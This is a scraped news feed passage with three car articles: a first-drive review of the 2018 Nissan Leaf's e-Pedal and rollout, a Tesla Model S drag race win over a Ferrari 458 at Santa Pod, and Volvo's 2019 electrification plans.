At Nissan’s Tochigi proving grounds, we were able to test out e-Pedal on a hill. It was a steep incline, similar to some of the more dramatic crests in San Francisco, where you see only sky over your hood as you approach the intersection. Heading up the hill, we lifted off the accelerator and came to a complete stop. Without putting our foot on the brake, the Leaf held still until we got on the pedal to move again. Coming downhill on the same steep grade, lifting off the pedal didn’t bring us to a complete stop, but it slowed us to a manageable crawl. Nissan claims you can use e-Pedal in 90 percent of your driving situations. A super steep downhill section such as this would fall under the 10 percent of situations where you’d still need to use the brake.

E-Pedal is either on or off, with nothing in between. Some other automakers allow you to choose from various levels of regenerative braking, the strongest of which allows for one-pedal driving. If other drivers are like us, they ignore all the levels between full regen and no regen feel. Nissan simplifies this with its all-or-nothing approach. We’re happy to have the one choice, though. There are times where you just want to be able to completely lift off the accelerator to coast on the highway, and surely there will be some Leaf customers who prefer the traditional feel of two-pedal driving. This is smart packaging by Nissan, and it reflects the automaker’s experience catering to EV customers ranging from early adopters to neophytes.

THE ARRIVAL

Nissan will build its new Leaf in a number of plants, depending on the market. Here in the U.S., our Leaf EVs will be built in Smyrna, Tenn., on the same production lines on which the old Leaf was built. Nissan hopes to grow its customer base for the Leaf a bit, but understands that EVs still garner a limited audience. Still, with the e-Plus version offering a longer driving range, Nissan expects the share of customers who buy instead of lease to grow (currently, about 55 percent of Leaf customers lease their cars).

2018 Nissan Leaf

Once customers have their cars, Nissan will be able to push upgrades to new Leafs as they are developed. If Nissan creates some electronic fix for a problem or wants to offer new software features, customers will be able to get these upgrades at their dealership. The company won’t be offering over-the-air updates.

It’s hard to find effective criticism against the new Nissan Leaf. Sure, Nissan doesn’t promise full autonomy like Tesla, but Tesla charges money for a feature that might not be legally allowed for many years. The Leaf doesn’t offer the range of the Chevy Bolt, but also doesn’t cost as much, and seasoned EV drivers know that the added driving range does more for pacifying range anxiety than actually providing day-to-day utility.

If you haven’t driven an EV before, one could forgive you for thinking the Leaf an oddity, especially visually, but this generation changes all of that the first time one sees it in the flesh. For a large number of drivers — especially for EV veterans — the 2018 Nissan Leaf checks all the important boxes and ignores the unnecessary (and expensive) ones. Considering the success of its imperfect predecessor, and the improvements made in the new Leaf, this one is poised for success.

Related Stories:
2018 Nissan Leaf at a glance
Is the Nissan Leaf still competitive? Absolutely. Here’s why
Nissan Leaf’s ProPilot technology: We let the Leaf do the work

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]]> https://briefnews.eu/2018-nissan-leaf-first-drive-electrifying-the-masses/feed/ 0 Watch as Tesla Model S easily smokes Ferrari 458 in electrifying street race https://briefnews.eu/watch-as-tesla-model-s-easily-smokes-ferrari-458-in-electrifying-street-race/ https://briefnews.eu/watch-as-tesla-model-s-easily-smokes-ferrari-458-in-electrifying-street-race/#respond Tue, 08 Aug 2017 13:21:10 +0000 http://briefnews.eu/watch-as-tesla-model-s-easily-smokes-ferrari-458-in-electrifying-street-race/

Tesla Model S P100DL has annihilated all the competition during Santa Pod Raceway’s Ultimate Street Car event. 

The gas-guzzling event sees production, electric and modified cars compete against one another to see which is the fastest. 

Tesla Rentals and ecar TestDriver had a point to prove to the petrol heads in the crowd, who were overwhelming backing the modified petrol and supercars on display.

But it was the Tesla Model S P100DL – owned and driven by David Broadway – that was the fastest unmodified road legal vehicle at Santa Pod.

The Model S won the Class C Category.

Of the three races the P100DL took part in, two were against Ferrari 458 Italia. 

Ferrari 458 Italia boasts 562bhp and a top speed which exceeds 200mph. The Ferrari is built for speed and performance. 

By contrast, the Model S is an everyday road car which can seat seven people and costs a lot less money. 

In both races between the two models, the Model S left the 458 Italia in its dust. 

Model 3 P100DL has a nauseating acceleration speed, speeding from 0-60mph in just 2.3 seconds. 

For the third race, the Tesla took on a heavily modified Honda Civic which it also destroyed in a quarter-mile drag race.

Other electric vehicles were on display at the event including the BMW i3, Tesla Model X and a Mitsubishi Highlander. 

Founder of ecarTestDrives, Afeez Damilola Alade-Kolawole, was delighted with the reaction from the hordes of visitors at Ultimate Street Car.

He commented “I believe that if we are to make Electric Vehicles more mainstream, we need to focus on the fun aspect, especially the instantaneous power that allows the rapid acceleration that is only possible with an electric drivetrain.

“We need to connect and appeal to car lovers everywhere, not just the environmentally aware. 

“And what better place to showcase the fun aspects of electric cars than at the world famous Santa Pod Raceway during the Ultimate Street Car event”

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]]> https://briefnews.eu/watch-as-tesla-model-s-easily-smokes-ferrari-458-in-electrifying-street-race/feed/ 0 Volvo Electrifying Entire Lineup in 2019, But Gas Isn’t Dead https://briefnews.eu/volvo-electrifying-entire-lineup-in-2019-but-gas-isnt-dead/ https://briefnews.eu/volvo-electrifying-entire-lineup-in-2019-but-gas-isnt-dead/#respond Thu, 06 Jul 2017 11:42:16 +0000 http://briefnews.eu/volvo-electrifying-entire-lineup-in-2019-but-gas-isnt-dead/ 2016 Volvo XC90 T8 AWD plug-in hybrid

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Starting in 2019, every new Volvo will incorporate at least one electric motor in the drivetrain, although the news doesn’t spell sudden death for the company’s four-cylinder engines.

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President and CEO Håkan Samuelsson says this “marks the end of the solely combustion engine-powered car,” which is a grandiose way to introduce his company’s full commitment to hybrids and EVs. Volvo will introduce five all-electric models between 2019 and 2021, two of which will sit under its redefined Polestar brand of high-performance EVs. Everything else will be a plug-in hybrid or a traditional hybrid based on upgraded 48-volt electrical architectures (like that in the 2018 Audi A8). While Volvo remains bullish on its goal for 1 million electrified sales by 2025 and likens the future gas- and diesel-powered hybrids as second fiddle to the full EVs, the automaker can’t afford any decline in traditional powertrains just as it can’t expect a dramatic industry shift to EVs in just four years.

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Last year, Volvo said plug-in hybrids would account for 10 percent of its annual car sales starting sometime early next decade. We also knew Volvo would launch one EV in 2019 and begin to offer two plug-in hybrids on every model. But with sales growing—almost entirely thanks to the company’s fresh designs and 2.0-liter engines it can easily sell in all global markets—Volvo’s profit depends on massive volumes of its pretty, fossil-fueled machines. While Volvo designed its Scalable Product Architecture (and new, smaller Compact Modular Architecture) to easily accommodate all-electric, hybrid, and gas-only powertrains, the company is launching the new 40-series and 60-series before any dedicated EVs arrive. With the new XC60, XC90, and S90/V90 keeping the Gothenburg plant churning, don’t think the new Volvo EVs will end up displacing these core gas-powered models as radically as Samuelsson suggests.

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As a smaller, niche-driven luxury brand, Volvo has a long way to go before it reaches 1 million annual sales—it hit 534,000 in 2016, trailing Jaguar Land Rover—let alone the 1 million electrified cars it wants to put on the road. But Samuelsson is pushing hard. “When we said it we meant it,” he said. “This is how we are going to do it.”

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